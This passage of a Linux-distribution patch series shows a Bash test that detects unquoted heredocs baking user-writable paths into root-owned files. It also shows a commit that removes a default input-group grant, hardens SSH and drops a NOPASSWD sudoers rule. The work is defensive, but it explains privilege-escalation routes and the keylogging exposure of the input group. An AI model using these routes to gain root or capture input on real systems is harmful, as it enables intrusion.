\$\(mktemp[^\)]*[[:space:]]\"?([^\"\)]+)\"?\) ]]; then + value=${BASH_REMATCH[1]} + fi + + [[ $value == "$before" ]] && break + done + + printf '%s' "$value" +} + +# Strip a leading KEY= and any opening quote so a token's literal head can be +# compared against the privileged prefixes. +literal_head() { + local text="$1" + + [[ $text =~ ^[A-Za-z_][A-Za-z0-9_]*\+?= ]] && text=${text#*=} + text=${text#[\"\']} + + printf '%s' "$text" +} + +# The literal value a name is assigned, when that value is knowable. A value +# read out of a command substitution is not: resolving it would treat the +# slashes in the command itself as a path, which made $autologin_user (an awk +# over /etc/sddm.conf.d) look like a path when it holds a username. +literal_value() { + local name="$1" + + [[ -v VARS[$name] ]] || return 0 + [[ ${VARS[$name]} != *'$('* && ${VARS[$name]} != *'`'* ]] || return 0 + + resolve_value "${VARS[$name]}" +} + +# Does TEXT still reference a root the installing user can replace? Used on a +# value the scan could not fully resolve, where the remaining "$HOME" or +# "${XDG_DATA_HOME}" is the whole reason the value cannot be trusted as a +# root-owned path. A chain through a name this scan never saw assigned resolves +# to neither, and is judged on the rest of the evidence. +mentions_user_writable_root() { + local text="$1" name pattern + + for name in "${USER_WRITABLE_VARS[@]}"; do + # Whole name only. A prefix match would read ${OMARCHY_INSTALL_USER:-}, which + # holds a username, as OMARCHY_INSTALL, which holds a path. + pattern='\$\{?'"$name"'([^A-Za-z0-9_]|$)' + [[ $text =~ $pattern ]] && return 0 + done + + return 1 +} + +# Is this expansion used as a path, and if so, is that path anchored somewhere +# root already owns? MASKED is the containing whitespace token with expansions +# replaced by \001. +# +# Path-shaped means the literal text left around the expansion contains a slash +# ("$HOME/.local/...", "$storage:/storage"), or the variable names a +# user-writable root, or it is assigned a literal value containing a slash. +# Anchored means the literal text *before* the expansion is itself a privileged +# path, as in "/etc/systemd/system/$unit" -- still a path, but one root owns end +# to end. Scoping the anchor test to the containing token is what keeps a udev +# RUN+= line honest: it can name /usr/bin/systemd-run earlier on the same line +# while the $HOME token stands alone. +classify_expansion() { + local masked="$1" name="$2" head literal piece + local path_shape="" + + head=$(literal_head "$masked") + head=${head%%$'\001'*} + literal=$(literal_value "$name") + + [[ $masked == */* ]] && path_shape+="token " + in_list "$name" "${USER_WRITABLE_VARS[@]}" && path_shape+="user-root " + [[ -v VARS_TAINTED[$name] ]] && path_shape+="tainted " + [[ -n $literal && $literal == */* ]] && path_shape+="literal " + + [[ -n $path_shape ]] || return 1 + + # A path expansion anchored under a root-owned prefix cannot introduce a + # user-writable location, so it does not need declaring. + starts_with_privileged_prefix "$head" && return 1 + + # When the token itself is not a path and the shape came only from the + # assigned value, a variable holding root-owned absolute paths is not baking + # anything user-writable in: that is how $fprintd_gate carries + # /usr/bin/omarchy-hw-laptop-closed. This rescue deliberately does not apply + # when the token is a path, so "$storage:/storage" stays flagged. + # + # It also does not apply to a value this scan could not finish resolving whose + # unresolved part reaches a root the user can replace. One hop is all it takes + # to hide the shape: helper="$HOME/.local/share/omarchy/bin/agent" followed by + # ExecStart=$helper puts no slash in the token and no literal path in the value, + # so rescuing it would exempt exactly the write this check exists to catch. A + # value that merely fails to resolve -- a kernel parameter list, an escaped + # password -- is left to the rescue, since nothing in it names a user root. + # A name assigned a user root anywhere in the file is never rescued: the + # assignment that won may be the packaged path it was later reassigned away + # from, and the rescue would then clear it on evidence it no longer holds. + if [[ $path_shape == "literal " ]]; then + for piece in $literal; do + piece=$(literal_head "$piece") + if mentions_user_writable_root "$piece"; then + return 0 + fi + if [[ $piece == /* ]] && ! starts_with_privileged_prefix "$piece"; then + return 0 + fi + done + return 1 + fi + + return 0 +} + +# Destination paths a command line hands a heredoc's output, as written. An +# "\002elevated" marker is emitted when the line runs through sudo and friends. +command_destinations() { + local line="$1" token target elevated=1 copy_like=1 last="" index scan + local -a tokens=() + + # Quotes only get in the way of splitting; the paths inside them do not + # contain spaces anywhere this check runs. + line=${line//\"/ } + line=${line//\'/ } + # `>|` overrides noclobber; the bar belongs to the operator, not to a pipe. + # Left alone it becomes the redirect's target and hides the privileged path + # behind it, so a `cat <| /etc/...` heredoc reports no destination. + line=${line//">|"/">"} + # Preserve append redirects before detaching redirect operators from their + # targets, so ">> /etc/x" does not become two ">" tokens whose first target + # is the second operator. + line=${line//>>/$'\003'} + line=${line//>/ > } + line=${line//$'\003'/" >> "} + + read -r -a tokens <<<"$line" + + index=0 + while ((index < ${#tokens[@]})); do + token=${tokens[index]} + index=$((index + 1)) + + in_list "$token" "${ELEVATORS[@]}" && elevated=0 + + if [[ $token == ">" || $token == ">>" ]]; then + target=${tokens[index]:-} + index=$((index + 1)) + [[ -n $target && $target != "&"* && $target != /dev/* ]] && printf '%s\n' "$target" + continue + fi + + if [[ $token == of=* ]]; then + printf '%s\n' "${token#of=}" + continue + fi + + if in_list "$token" "${WRITE_COMMANDS[@]}"; then + if [[ $token == "tee" ]]; then + # Every non-flag argument to tee is a destination. + scan=$index + while ((scan < ${#tokens[@]})); do + target=${tokens[scan]} + scan=$((scan + 1)) + [[ $target == "|" || $target == "&&" || $target == ";" ]] && break + [[ $target == -* || $target == "<"* || $target == ">" || $target == of=* ]] && continue + [[ $target == /dev/* ]] && continue + printf '%s\n' "$target" + done + elif [[ $token != "dd" ]]; then + # dd destinations are expressed only by of= operands, handled above. + copy_like=0 + fi + continue + fi + + [[ $token != -* && $token != "|" && $token != "<"* && $token != ">" ]] && last=$token + done + + # install/cp/mv put the destination last. + if ((copy_like == 0)) && [[ -n $last ]]; then + printf '%s\n' "$last" + fi + + if ((elevated == 0)); then + printf '%s\n' $'\002elevated' + fi +} + +# Does LINE carry the same resolved value as DEST? Compare resolved tokens rather +# than source spelling so $tmp, ${tmp}, and an alias assigned from either form +# all identify the same scratch file. +line_carries_destination() { + local line="$1" dest="$2" resolved token candidate + local -a tokens=() + + resolved=$(resolve_value "$dest") + line=${line//\"/ } + line=${line//\'/ } + read -r -a tokens <<<"$line" + + for token in "${tokens[@]}"; do + token=${token#[<>]} + token=${token%;} + candidate=$(resolve_value "$token") + [[ $candidate == "$resolved" ]] && return 0 + done + + return 1 +} + +# Does the heredoc on this line reach a root-owned file? Either directly, or in +# one hop: written to a scratch file that a later install/cp/mv carries into a +# privileged directory. +privileged_destination() { + local line="$1" start_index="$2" + local -n scan_lines="$3" + local dest resolved elevated=1 follow hop hop_dest + local -a unresolved=() + + while IFS= read -r dest; do + if [[ $dest == $'\002elevated' ]]; then + elevated=0 + continue + fi + + resolved=$(resolve_value "$dest") + resolved=${resolved#\~} + if starts_with_privileged_prefix "$resolved"; then + printf '%s' "$resolved" + return 0 + fi + + if [[ $resolved == *'$'* ]]; then + unresolved+=("$dest") + fi + + # One hop: a later copy of this same destination into a root-owned path. + # Literal scratch files need tracing just as much as variable destinations. + follow=$start_index + while ((follow < ${#scan_lines[@]})); do + hop=${scan_lines[follow]} + follow=$((follow + 1)) + [[ $hop =~ (^|[[:space:]])(install|cp|mv)([[:space:]]|$) ]] || continue + line_carries_destination "$hop" "$dest" || continue + while IFS= read -r hop_dest; do + [[ $hop_dest == $'\002elevated' ]] && continue + [[ $hop_dest == "$dest" ]] && continue + hop_dest=$(resolve_value "$hop_dest") + if starts_with_privileged_prefix "$hop_dest"; then + printf '%s' "$hop_dest" + return 0 + fi + done < <(command_destinations "$hop") + done + done < <(command_destinations "$line") + + # An elevated write whose destination cannot be resolved counts as privileged: + # sudo tee is not aimed at a user's own dotfile. + if ((elevated == 0)) && ((${#unresolved[@]} > 0)); then + printf '%s' "${unresolved[0]} (unresolved destination of an elevated write)" + return 0 + fi + + return 1 +} + +# A pipeline may put the command consuming a heredoc after its terminator: +# +# cat < closes)) +} + +scan_file() { + local file="$1" display="${2:-$1}" + local -a lines=() + local index lineno line command scan rest raw operator match prefix guard slot delim candidate candidate_delim body_start + local body_text unescaped destination destination_command body_line masked_line token name + local declared_paths annotation look shown_paths shown_plain count next slots terminated + local hd_re='(<<-?)[[:space:]]*("[A-Za-z_][A-Za-z0-9_]*"|'"'"'[A-Za-z_][A-Za-z0-9_]*'"'"'|[A-Za-z_][A-Za-z0-9_]*)' + + mapfile -t lines <"$file" + collect_vars lines + + index=0 + while ((index < ${#lines[@]})); do + line=${lines[index]} + lineno=$((index + 1)) + index=$((index + 1)) + + [[ $line =~ ^[[:space:]]*# ]] && continue + + # A backslash-escaped newline is removed before Bash parses the command, so + # a pipeline consumer can appear on the next physical line before heredoc + # body collection begins: `cat < 0)) || continue + + for slot in "${!delims[@]}"; do + delim=${delims[slot]} + local -a body=() + body_start=$index + terminated=1 + + while ((index < ${#lines[@]})); do + candidate=${lines[index]} + index=$((index + 1)) + candidate_delim=$candidate + if ((strip_tabs[slot] == 1)); then + while [[ $candidate_delim == $'\t'* ]]; do + candidate_delim=${candidate_delim#$'\t'} + done + fi + if [[ $candidate_delim == "$delim" ]]; then + terminated=0 + break + fi + body+=("$candidate") + done + + # A valid shell source cannot contain an unterminated heredoc. If this + # candidate has no terminator it was syntax such as a multi-line arithmetic + # shift that the lightweight matcher could not classify; resume scanning + # below it instead of swallowing the rest of the file. + if ((terminated != 0)); then + index=$body_start + continue + fi + + # A quoted delimiter cannot expand anything. + ((quoted[slot] == 1)) || continue + + printf -v body_text '%s\n' "${body[@]:-}" + unescaped=$(strip_escapes "$body_text") + [[ $unescaped =~ $EXPANSION_RE || $unescaped == *'`'* ]] || continue + + destination_command=$(continued_heredoc_command "$command" "$index" lines) + destination=$(privileged_destination "$destination_command" "$index" lines) || continue + + # Sort the expansions into the ones that bake a path into the file and + # the ones that only interpolate a scalar. + local -a path_expansions=() plain_expansions=() scanned=() names=() + while IFS= read -r body_line; do + mapfile -t scanned < <(mask_and_names "$body_line") + masked_line=${scanned[0]} + names=("${scanned[@]:1}") + next=0 + + for token in $masked_line; do + count=$(count_placeholders "$token") + ((count > 0)) || continue + + for ((slots = 0; slots < count; slots++)); do + name=${names[next]:-} + next=$((next + 1)) + [[ -n $name ]] || continue + + if classify_expansion "$token" "$name"; then + in_list "$name" "${path_expansions[@]:-}" || path_expansions+=("$name") + else + in_list "$name" "${plain_expansions[@]:-}" || plain_expansions+=("$name") + fi + done + done + done <<<"$unescaped" + + declared_paths="" + annotation="" + look=$((lineno - 2)) + while ((look >= 0)) && [[ ${lines[look]} =~ ^[[:space:]]*# ]]; do + if [[ ${lines[look]} =~ $ANNOTATION_RE ]]; then + declared_paths=${BASH_REMATCH[1]} + annotation=${BASH_REMATCH[3]} + fi + look=$((look - 1)) + done + + shown_paths="none" + if ((${#path_expansions[@]} > 0)); then + shown_paths=$( + IFS=, + printf '%s' "${path_expansions[*]}" + ) + fi + shown_plain="none" + if ((${#plain_expansions[@]} > 0)); then + shown_plain=$( + IFS=, + printf '%s' "${plain_expansions[*]}" + ) + fi + + if [[ -z $annotation ]]; then + FINDINGS+=("$display:$lineno: unquoted heredoc <<$delim expands values at install time and its output reaches $destination + path-shaped expansions: $shown_paths + other expansions: $shown_plain + Whatever expands here is baked into a file root owns. If it is a path the + installing user can replace, root later reads or executes attacker-controlled + content -- that is a local privilege escalation. + Fix, in order of preference: + 1. quote the delimiter (<<'$delim') so nothing expands at install time; + 2. hardcode an absolute root-owned path instead of expanding one; + 3. if the expansion is genuinely required, declare it above the heredoc: + # omarchy:heredoc-expands paths= -- + Decide that list yourself. The scan's own reading of it is above, and + where the scan is most likely wrong is exactly here -- a path it could + not follow reads as an ordinary value -- so pasting its verdict back + signs off on the case worth checking by hand.") + continue + fi + + if [[ $(normalize_path_set "$declared_paths") != $(normalize_path_set "$shown_paths") ]]; then + FINDINGS+=("$display:$lineno: heredoc annotation declares paths=$declared_paths but the path-shaped expansions are $shown_paths + Writing to: $destination + Every expansion used as a path outside a root-owned prefix has to be named, + so adding one to an already-annotated heredoc trips this check again instead + of inheriting the old exemption. + Fix: drop the path expansion (hardcode an absolute root-owned path), or name + every path-shaped expansion in the declaration and say why root using it is + safe.") + fi + done + done +} + +# bin/, install/ and migrations/ are where privileged writes live: bin/ holds +# the setup and upgrade commands, install/ runs during install, migrations/ +# during update. default/ is scanned too even though the pattern is not +# reachable there today -- it ships bash functions and completions whose only +# "<<" uses are herestrings, with no privileged writes at all -- because the +# scan is cheap and default/ is sourced into every login shell, so a privileged +# write arriving there later should not arrive unchecked. +shell_sources() { + local file first + + while IFS= read -r -d '' file; do + # Binary files and sources with no heredoc operator have nothing this check + # can classify. Filter them before collect_vars and the line-by-line scan. + grep -Iq '<<' "$file" 2>/dev/null || continue + + case $file in + *.sh | *.hook) + printf '%s\0' "$file" + continue + ;; + esac + + IFS= read -r first <"$file" || true + if [[ $first =~ ^#!.*[[:space:]/](bash|sh)$ ]]; then + printf '%s\0' "$file" + fi + done < <(find "$ROOT/bin" "$ROOT/install" "$ROOT/migrations" "$ROOT/default" \ + -type f -print0 2>/dev/null | sort -z) +} + +require_command find +require_command grep + +sources=() +while IFS= read -r -d '' file; do + sources+=("$file") +done < <(shell_sources) + +((${#sources[@]} > 50)) || fail "the scan reaches the privileged-write scripts" \ + "only ${#sources[@]} shell sources found under bin/, install/, migrations/ and default/" +pass "the scan reaches the privileged-write scripts (${#sources[@]} files)" + +for file in "${sources[@]}"; do + scan_file "$file" "${file#"$ROOT"/}" +done + +if ((${#FINDINGS[@]} > 0)); then + fail "no privileged write embeds an install-time expansion through an unquoted heredoc" \ + "$(printf '%s\n\n' "${FINDINGS[@]}")" +fi +pass "no privileged write embeds an install-time expansion through an unquoted heredoc" + +# --- Non-vacuity ------------------------------------------------------------ +# +# A check that cannot catch the bug it was written for is worthless, so the same +# scanner runs against fixtures: installer shapes taken verbatim from this +# repository's history, the routes other than a pipe into sudo tee, and the +# shapes that must stay quiet. + +FIXTURES="$SHELL_TEST_DIR/fixtures/privileged-heredoc" + +fixture_flags() { + local fixture="$1" description="$2" expected="${3:-}" + + FINDINGS=() + scan_file "$FIXTURES/$fixture" "$fixture" + + ((${#FINDINGS[@]} > 0)) || fail "$description" "$fixture produced no finding" + if [[ -n $expected ]]; then + printf '%s\n' "${FINDINGS[@]}" | grep -qF -- "$expected" || + fail "$description" "expected \"$expected\" in:$(printf '\n%s' "${FINDINGS[@]}")" + fi + pass "$description" +} + +fixture_passes() { + local fixture="$1" description="$2" + + FINDINGS=() + scan_file "$FIXTURES/$fixture" "$fixture" + + ((${#FINDINGS[@]} == 0)) || fail "$description" "$(printf '%s\n' "${FINDINGS[@]}")" + pass "$description" +} + +# Verbatim installer shapes: two udev rules whose RUN+= resolves through a +# user's home, and a systemd unit whose ExecStop did the same. Kept as written +# rather than tidied, so the fixtures stay faithful to the real shape instead of +# a cleaned-up sketch of it. +fixture_flags udev-rule-home-path.sh \ + "flags a power-profile udev rule whose RUN+= resolves under \$HOME" \ + "path-shaped expansions: HOME" +fixture_flags wifi-rule-home-path.sh \ + "flags a wifi-powersave udev rule whose RUN+= resolves under \$HOME" \ + "path-shaped expansions: HOME" +fixture_flags shutdown-unit-home-execstop.sh \ + "flags a shutdown unit with ExecStop=\$HOME/..." \ + "path-shaped expansions: HOME" + +# The exemption must not be a rubber stamp: the same file carrying a +# plausible-looking annotation still fails, because $HOME is path-shaped and +# the declaration does not say so. +fixture_flags annotated-paths-none-still-fails.sh \ + "an annotation claiming paths=none cannot silence a baked \$HOME path" \ + "declares paths=none but the path-shaped expansions are HOME" +fixture_flags annotated-special-parameter-before-home.sh \ + "a shell special parameter cannot hide a later baked \$HOME path" \ + "declares paths=none but the path-shaped expansions are HOME" + +# A path can hide one or more hops away from the heredoc. In each of these the +# token in the body has no slash and the value never resolves to a literal path, +# so an annotation of paths=none looks plausible while the write still bakes the +# user's home into a root-owned file. The declaration has to name the expansion. +fixture_flags hop-variable-home-path.sh \ + "an annotation cannot exempt a home path carried one variable hop away" \ + "declares paths=none but the path-shaped expansions are helper" +fixture_flags hop-twice-home-path.sh \ + "an annotation cannot exempt a home path carried two variable hops away" \ + "declares paths=none but the path-shaped expansions are helper" +fixture_flags shadowed-assignment-home-path.sh \ + "a later assignment under \$HOME is judged, not the packaged value it shadowed" \ + "declares paths=none but the path-shaped expansions are target" + +# Routes other than a direct pipe into sudo tee. +fixture_flags route-redirect.sh "flags a plain redirect into /etc" +fixture_flags route-sudo-dd.sh "flags sudo dd of= into a privileged path" +fixture_flags route-variable-path.sh \ + "flags an elevated write whose destination is a variable resolving under /etc" +fixture_flags route-install-hop.sh \ + "flags a scratch file that install(1) later copies into /usr" +fixture_flags route-install-hop-literal.sh \ + "flags a literal scratch file that install(1) later copies into /etc" +fixture_flags route-install-hop-braced.sh \ + "flags a scratch-file hop whose variable uses braces at the privileged copy" +fixture_flags route-install-hop-alias.sh \ + "flags a scratch-file hop carried through an alias variable" +fixture_flags route-continued-pipeline.sh \ + "flags a privileged pipeline command continued after the heredoc terminator" +fixture_flags route-prebody-escaped-pipeline.sh \ + "flags an escaped-line pipeline consumer before the heredoc body" +fixture_flags route-dash-delimiter.sh "flags an indented <<- heredoc" +fixture_flags route-append-redirect.sh "flags an append redirect into /etc" +fixture_flags route-noclobber-redirect.sh \ + "flags a noclobber-override redirect into /etc" +fixture_flags arithmetic-left-shift-before-heredoc.sh \ + "an arithmetic left shift does not swallow a later privileged heredoc" \ + "path-shaped expansions: HOME" +fixture_flags plain-heredoc-indented-pseudo-delimiter.sh \ + "an indented delimiter does not terminate a plain heredoc" \ + "path-shaped expansions: HOME" +fixture_flags nested-parameter-default.sh \ + "a nested parameter default cannot hide a baked home path" \ + "path-shaped expansions are HOME" + +mapfile -t dd_destinations < <(command_destinations \ + 'sudo dd if=/tmp/input bs=4M status=none of=/etc/omarchy/image') +[[ ${dd_destinations[0]:-} == "/etc/omarchy/image" && ${dd_destinations[1]:-} == $'\002elevated' && ${#dd_destinations[@]} == 2 ]] || + fail "dd emits only its of= destination" "$(printf '%q\n' "${dd_destinations[@]:-}")" +pass "dd emits only its of= destination" + +# Negatives. +fixture_passes safe-quoted-delimiter.sh "a quoted delimiter passes" +fixture_passes safe-user-destination.sh \ + "an unquoted heredoc expanding into the user's own ~/.config passes" +fixture_passes safe-no-expansion.sh \ + "a privileged write with no expansion in the body passes" +fixture_passes safe-runtime-expansion.sh \ + "an escaped \\\$VAR left for a root daemon to expand passes" +fixture_passes safe-annotated.sh "a declared, reasoned exemption passes" +fixture_passes safe-annotated-reordered-paths.sh \ + "path declarations compare as sets rather than traversal order" +fixture_passes safe-root-anchored.sh \ + "a path expansion anchored under /etc is truthfully declared paths=none" +fixture_passes safe-herestring.sh "a herestring is not mistaken for a heredoc" From df819a6f9869b080f2d8ba88e3be0b21023d6487 Mon Sep 17 00:00:00 2001 From: Ryan Hughes Date: Sun, 30 Aug 2026 12:04:14 -0400 Subject: [PATCH 164/336] Close three paths from an unprivileged session to root Apply the Omabot patch on Quattro, verify effective SSH hardening, prevent stored provisioning state from restoring the blanket input-group grant, and stop Omarchy from shipping asdcontrol authorization that belongs to the package. Co-authored-by: David Heinemeier Hansson --- bin/omarchy-provision-owner | 12 ++- bin/omarchy-setup-security-sshd | 45 ++++++++ etc/sudoers.d/omarchy-asdcontrol | 1 - install/hardware/all.sh | 1 - install/hardware/input-group.sh | 11 -- migrations/1787865477.sh | 18 ++++ test/shell.d/input-group-migration-test.sh | 64 +++++++++++ test/shell.d/provisioning-groups-test.sh | 60 +++-------- test/shell.d/setup-security-sshd-test.sh | 105 +++++++++++++++++++ test/shell.d/sudoless-docker-posture-test.sh | 27 +++-- 10 files changed, 274 insertions(+), 70 deletions(-) delete mode 100644 etc/sudoers.d/omarchy-asdcontrol delete mode 100644 install/hardware/input-group.sh create mode 100644 migrations/1787865477.sh create mode 100755 test/shell.d/input-group-migration-test.sh create mode 100755 test/shell.d/setup-security-sshd-test.sh diff --git a/bin/omarchy-provision-owner b/bin/omarchy-provision-owner index d300d1de..4c21ff49 100755 --- a/bin/omarchy-provision-owner +++ b/bin/omarchy-provision-owner @@ -677,11 +677,15 @@ user_groups() { if [[ -f $PROVISIONING_DIR/groups ]]; then while IFS= read -r group; do [[ -n $group ]] || continue - # Never grant docker at first boot, even if an older install recorded it - # (or a factory snapshot predating the opt-in default carries it): the - # docker group is root-equivalent. It is opt-in via - # omarchy-setup-security-sudoless-docker. + # Never replay old privileged group defaults. Docker is always opt-in. + # Input is only retained when the factory image has one of the features + # whose installer deliberately grants access to raw input devices. [[ $group == "docker" ]] && continue + if [[ $group == "input" ]] && + ! pacman -Qq xpadneo-dkms &>/dev/null && + ! pacman -Qq ydotool &>/dev/null; then + continue + fi getent group "$group" >/dev/null || continue [[ ",$groups," == *",$group,"* ]] || groups+=",$group" done <"$PROVISIONING_DIR/groups" diff --git a/bin/omarchy-setup-security-sshd b/bin/omarchy-setup-security-sshd index 155d6000..1f58cd3c 100755 --- a/bin/omarchy-setup-security-sshd +++ b/bin/omarchy-setup-security-sshd @@ -143,6 +143,48 @@ authorize_pasted_key() { authorize_key "$key" || exit 1 } +# Only called after a key is authorized. Disabling password authentication +# before then could lock the owner out of the machine. +disable_password_auth() { + local config=/etc/ssh/sshd_config.d/10-omarchy-hardening.conf + local effective_config + + if [[ ! -s $AUTHORIZED_KEYS ]]; then + echo -e "\e[31mCannot disable SSH password authentication without an authorized key.\e[0m" >&2 + return 1 + fi + + echo "Disabling SSH password authentication, now that a key is authorized..." + sudo install -Dm644 /dev/stdin "$config" <<'CONF' +# Written by omarchy-setup-security-sshd once an SSH key was authorized. +# Delete this file and reload sshd to allow password logins again. +PasswordAuthentication no +KbdInteractiveAuthentication no +CONF + + # Validate before reloading: a config sshd rejects would otherwise take the + # service down on its next restart, potentially stranding a remote owner. + if ! sudo sshd -t; then + echo -e "\e[31msshd rejected the hardening config; removing it and leaving passwords on.\e[0m" >&2 + sudo rm -f "$config" + return 1 + fi + + # Syntax alone is insufficient because sshd uses the first value it reads for + # these settings. An earlier administrator rule could leave passwords enabled. + if ! effective_config=$(sudo sshd -T) || + ! grep -qxF "passwordauthentication no" <<<"$effective_config" || + ! grep -qxF "kbdinteractiveauthentication no" <<<"$effective_config"; then + echo -e "\e[31msshd did not apply the password-authentication restrictions; removing the ineffective config.\e[0m" >&2 + sudo rm -f "$config" + return 1 + fi + + # Reload rather than restart so an administrator already connected keeps + # their session. + sudo systemctl reload sshd.service +} + echo -e "\e[32mSetting up SSH server access with key-based authentication.\n\e[0m" setup_sshd @@ -161,5 +203,8 @@ else esac fi +disable_password_auth + echo -e "\e[32m\nPerfect! The SSH server is running and your key is authorized.\e[0m" +echo "Password logins are off; this machine now accepts authorized keys only." echo "You can now connect with: ssh $USER@$(hostname)" diff --git a/etc/sudoers.d/omarchy-asdcontrol b/etc/sudoers.d/omarchy-asdcontrol deleted file mode 100644 index a8483b62..00000000 --- a/etc/sudoers.d/omarchy-asdcontrol +++ /dev/null @@ -1 +0,0 @@ -%wheel ALL=(ALL) NOPASSWD: /usr/bin/asdcontrol diff --git a/install/hardware/all.sh b/install/hardware/all.sh index 9b54d1c0..7b806ce8 100644 --- a/install/hardware/all.sh +++ b/install/hardware/all.sh @@ -4,7 +4,6 @@ run_logged "$OMARCHY_INSTALL/hardware/dell-xps-touchpad-haptics.sh" run_logged "$OMARCHY_INSTALL/hardware/surface.sh" run_logged "$OMARCHY_INSTALL/hardware/network.sh" -run_logged "$OMARCHY_INSTALL/hardware/input-group.sh" run_logged "$OMARCHY_INSTALL/hardware/set-wireless-regdom.sh" run_logged "$OMARCHY_INSTALL/hardware/fix-fkeys.sh" run_logged "$OMARCHY_INSTALL/hardware/fix-synaptic-touchpad.sh" diff --git a/install/hardware/input-group.sh b/install/hardware/input-group.sh deleted file mode 100644 index fac87fcd..00000000 --- a/install/hardware/input-group.sh +++ /dev/null @@ -1,11 +0,0 @@ -# Give this user privileged input access for dictation tools + xbox controllers to work. -# Recorded for provisioning first-boot user creation and factory reset, granted directly -# when the install user already exists (deferred-provisioning installs create the user at -# first boot instead). -provisioning_dir="${OMARCHY_PROVISIONING_DIR:-/var/lib/omarchy/provisioning}" -mkdir -p "$provisioning_dir" -grep -qxF input "$provisioning_dir/groups" 2>/dev/null || echo input >>"$provisioning_dir/groups" - -if [[ -n ${OMARCHY_INSTALL_USER:-} ]] && getent passwd "$OMARCHY_INSTALL_USER" >/dev/null; then - usermod -aG input "$OMARCHY_INSTALL_USER" -fi diff --git a/migrations/1787865477.sh b/migrations/1787865477.sh new file mode 100644 index 00000000..4727fb02 --- /dev/null +++ b/migrations/1787865477.sh @@ -0,0 +1,18 @@ +echo "Drop the default input group grant, which allowed unprivileged keylogging" + +# Membership of `input` gives raw read/write access to /dev/input/event*: any +# process running as the user can capture keystrokes and synthesize input. The +# blanket grant is unnecessary: the Xbox-controller and ydotool installers add +# the group themselves when those features are deliberately installed. +# +# Preserve membership where one of those opt-in features is present; removing +# it there would break the feature the user chose to install. +if id -nG "$USER" | grep -qw input; then + if pacman -Qq xpadneo-dkms &>/dev/null || pacman -Qq ydotool &>/dev/null; then + echo "Keeping $USER in the input group: controller or ydotool support is installed." + else + sudo gpasswd -d "$USER" input >/dev/null + echo "Removed $USER from the input group. Log out and back in to apply." + omarchy-state set reboot-required + fi +fi diff --git a/test/shell.d/input-group-migration-test.sh b/test/shell.d/input-group-migration-test.sh new file mode 100755 index 00000000..40bea6cb --- /dev/null +++ b/test/shell.d/input-group-migration-test.sh @@ -0,0 +1,64 @@ +#!/bin/bash + +set -euo pipefail + +source "$(dirname "$0")/base-test.sh" + +migration="$ROOT/migrations/1787865477.sh" +test_dir=$(mktemp -d) +trap 'rm -rf "$test_dir"' EXIT + +stub_bin="$test_dir/bin" +mkdir -p "$stub_bin" + +cat >"$stub_bin/id" <<'STUB' +#!/bin/bash +printf '%s\n' "${STUB_GROUPS:-wheel}" +STUB +cat >"$stub_bin/pacman" <<'STUB' +#!/bin/bash +[[ $1 == "-Qq" ]] || exit 2 +[[ " ${STUB_PACKAGES:-} " == *" $2 "* ]] +STUB +cat >"$stub_bin/sudo" <<'STUB' +#!/bin/bash +exec "$@" +STUB +cat >"$stub_bin/gpasswd" <<'STUB' +#!/bin/bash +printf '%s\n' "$*" >>"${GPASSWD_CALLS:?}" +STUB +cat >"$stub_bin/omarchy-state" <<'STUB' +#!/bin/bash +printf '%s\n' "$*" >>"${STATE_CALLS:?}" +STUB +chmod +x "$stub_bin"/* + +gpasswd_calls="$test_dir/gpasswd-calls" +state_calls="$test_dir/state-calls" + +run_migration() { + rm -f "$gpasswd_calls" "$state_calls" + USER=tester STUB_GROUPS="$1" STUB_PACKAGES="${2:-}" \ + GPASSWD_CALLS="$gpasswd_calls" STATE_CALLS="$state_calls" \ + PATH="$stub_bin:$PATH" bash -euo pipefail "$migration" +} + +run_migration "wheel input" >/dev/null +grep -qxF -- "-d tester input" "$gpasswd_calls" || fail "migration removes default input membership" +grep -qxF "set reboot-required" "$state_calls" || fail "migration flags the session change for reboot" +pass "migration removes the blanket input grant" + +run_migration "wheel" >/dev/null +[[ ! -e $gpasswd_calls ]] || fail "migration does not remove an already-absent group" +[[ ! -e $state_calls ]] || fail "migration does not flag a reboot when nothing changed" +pass "migration is idempotent after input membership is gone" + +run_migration "wheel input" xpadneo-dkms >/dev/null +[[ ! -e $gpasswd_calls ]] || fail "migration preserves input for controller support" +[[ ! -e $state_calls ]] || fail "preserved controller support does not flag a reboot" + +run_migration "wheel input" ydotool >/dev/null +[[ ! -e $gpasswd_calls ]] || fail "migration preserves input for ydotool" +[[ ! -e $state_calls ]] || fail "preserved ydotool support does not flag a reboot" +pass "migration preserves deliberate input-group opt-ins" diff --git a/test/shell.d/provisioning-groups-test.sh b/test/shell.d/provisioning-groups-test.sh index 5a5fc516..ae47748e 100644 --- a/test/shell.d/provisioning-groups-test.sh +++ b/test/shell.d/provisioning-groups-test.sh @@ -1,11 +1,8 @@ #!/bin/bash # -# The install scripts that grant group memberships must record them in the provisioning -# groups file (for first-boot user creation and factory reset) and only call -# usermod when the install user actually exists. -# -# Docker is deliberately excluded: the docker group is root-equivalent, so it is -# no longer granted at install time (opt in with omarchy-setup-security-sudoless-docker). +# Privileged groups are never granted by the default install. Docker remains an +# explicit opt-in, and raw input-device access is granted only by the optional +# controller and ydotool installers. set -euo pipefail @@ -16,13 +13,7 @@ trap 'rm -rf "$TMPDIR"' EXIT export OMARCHY_PROVISIONING_DIR="$TMPDIR/provisioning" -# Stub getent/usermod: the fake system knows only the user "existing". mkdir -p "$TMPDIR/bin" -cat >"$TMPDIR/bin/getent" <<'STUB' -#!/bin/bash -[[ $1 == passwd && $2 == existing ]] && { echo "existing:x:1000:1000::/home/existing:/bin/bash"; exit 0; } -exit 2 -STUB cat >"$TMPDIR/bin/usermod" <>"$TMPDIR/usermod.calls" @@ -44,48 +35,31 @@ cat >"$TMPDIR/bin/sudo" <>"$TMPDIR/sudo.calls" exec "\$@" STUB -chmod +x "$TMPDIR/bin"/{getent,usermod,groupadd,install,find,sudo} +chmod +x "$TMPDIR/bin"/{usermod,groupadd,install,find,sudo} export PATH="$TMPDIR/bin:$PATH" export OMARCHY_PATH="$ROOT" -# No install user (deferred-provisioning install): groups recorded, usermod not called. +# A deferred-provisioning install records neither privileged group. OMARCHY_INSTALL_USER="" bash -eE "$ROOT/install/config/docker.sh" -OMARCHY_INSTALL_USER="" bash -eE "$ROOT/install/hardware/input-group.sh" OMARCHY_INSTALL_USER="" bash -eE "$ROOT/install/config/browser-policy.sh" -[[ -f $OMARCHY_PROVISIONING_DIR/groups ]] || fail "groups file written without an install user" -grep -qxF input "$OMARCHY_PROVISIONING_DIR/groups" || fail "input group recorded" -! grep -qxF omarchy-browser-policy "$OMARCHY_PROVISIONING_DIR/groups" || - fail "browser-policy group must not be recorded" +[[ ! -f $OMARCHY_PROVISIONING_DIR/groups ]] || + ! 